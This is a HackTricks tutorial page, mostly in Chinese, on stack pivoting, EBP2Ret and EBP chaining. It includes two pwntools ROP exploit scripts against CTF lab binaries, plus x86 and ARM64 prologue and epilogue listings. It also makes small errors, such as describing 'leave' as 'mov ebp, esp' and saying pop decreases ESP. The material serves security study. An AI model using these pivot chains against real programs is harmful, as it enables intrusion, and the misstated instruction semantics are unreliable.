hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

251 lines
11 KiB
Markdown
Raw Normal View History

# Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
## 基本信息
该技术利用操控 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。
作为提醒,**`leave`** 基本上意味着:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
这个技术在你可以**更改 EBP 寄存器但没有直接方法更改 EIP 寄存器**时特别有用。它利用了函数执行完毕后的行为。
如果在 `fvuln` 执行期间,你设法在栈中注入一个指向内存中你 shellcode 地址的**假 EBP**(加上 4 字节以考虑 `pop` 操作),你可以间接控制 EIP。当 `fvuln` 返回时ESP 被设置为这个构造的位置,随后的 `pop` 操作将 ESP 减少 4**有效地使其指向攻击者在其中存储的地址。**\
注意你**需要知道 2 个地址**ESP 将要去的地址,以及你需要在 ESP 指向的地方写入的地址。
#### Exploit Construction
首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。
然后,你需要知道 `ret` 使用的地址,这将**执行任意代码**。你可以使用:
* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。
* **`system()`** 的地址,后面跟 **4 个垃圾字节**`"/bin/sh"` 的地址x86 位)。
* 一个 **`jump esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟要执行的 **shellcode**
* 一些 [**ROP**](../rop-return-oriented-programing/) 链
请记住,在受控内存的任何这些地址之前,必须有**`4` 字节**,因为 **`pop`** 部分的 `leave` 指令。可以利用这 4B 设置一个**第二个假 EBP**,并继续控制执行。
#### Off-By-One Exploit
这个技术有一个特定的变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置与 **`ret`** 必须共享前 3 个字节,从而允许在更受限的条件下进行类似的操作。\
通常会修改字节 0x00t 以尽可能远地跳转。
此外,通常在栈中使用 RET sled并将真实的 ROP 链放在末尾,以使新的 ESP 更有可能指向 RET SLED 内部,并执行最终的 ROP 链。
### **EBP Chaining**
因此,将一个受控地址放入栈的 `EBP` 条目中,并在 `EIP` 中放入一个 `leave; ret` 的地址,可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。
现在,**`ESP`** 被控制,指向一个期望的地址,下一条要执行的指令是 `RET`。为了利用这一点,可以在受控的 ESP 位置放置以下内容:
* **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP
* **`system()`** -> 由 `ret` 调用
* **`&(leave;ret)`** -> 在 system 结束后调用,它将 ESP 移动到假 EBP 并重新开始
* **`&("/bin/sh")`**-> `system` 的参数
基本上,这种方式可以链接多个假 EBP 来控制程序的流程。
这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
此外,这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这个技术与 **stack leak** 来调用一个获胜函数。这是页面的最终有效载荷:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP 可能未被使用
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。\
这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。
* **未优化:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **优化:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## 其他控制 RSP 的方法
### **`pop rsp`** gadget
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
查看 ret2esp 技术:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
## 参考资料与其他示例
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 位,使用以 ret sled 开头的 rop 链进行越界利用
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 位,无 relro、canary、nx 和 pie。该程序提供了堆栈或 pie 的泄漏和一个 qword 的 WWW。首先获取堆栈泄漏然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
## ARM64
在 ARM64 中,函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP你仍然需要一种方法来 **控制 `x30`** 寄存器。
* 前言
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP 指向帧记录
```
* 尾声
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
{% hint style="danger" %}
在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器的值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出),然后 **利用尾声****受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
{% endhint %}
在以下页面中,你可以看到 **ARM64 中的 Ret2esp 等价物**
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}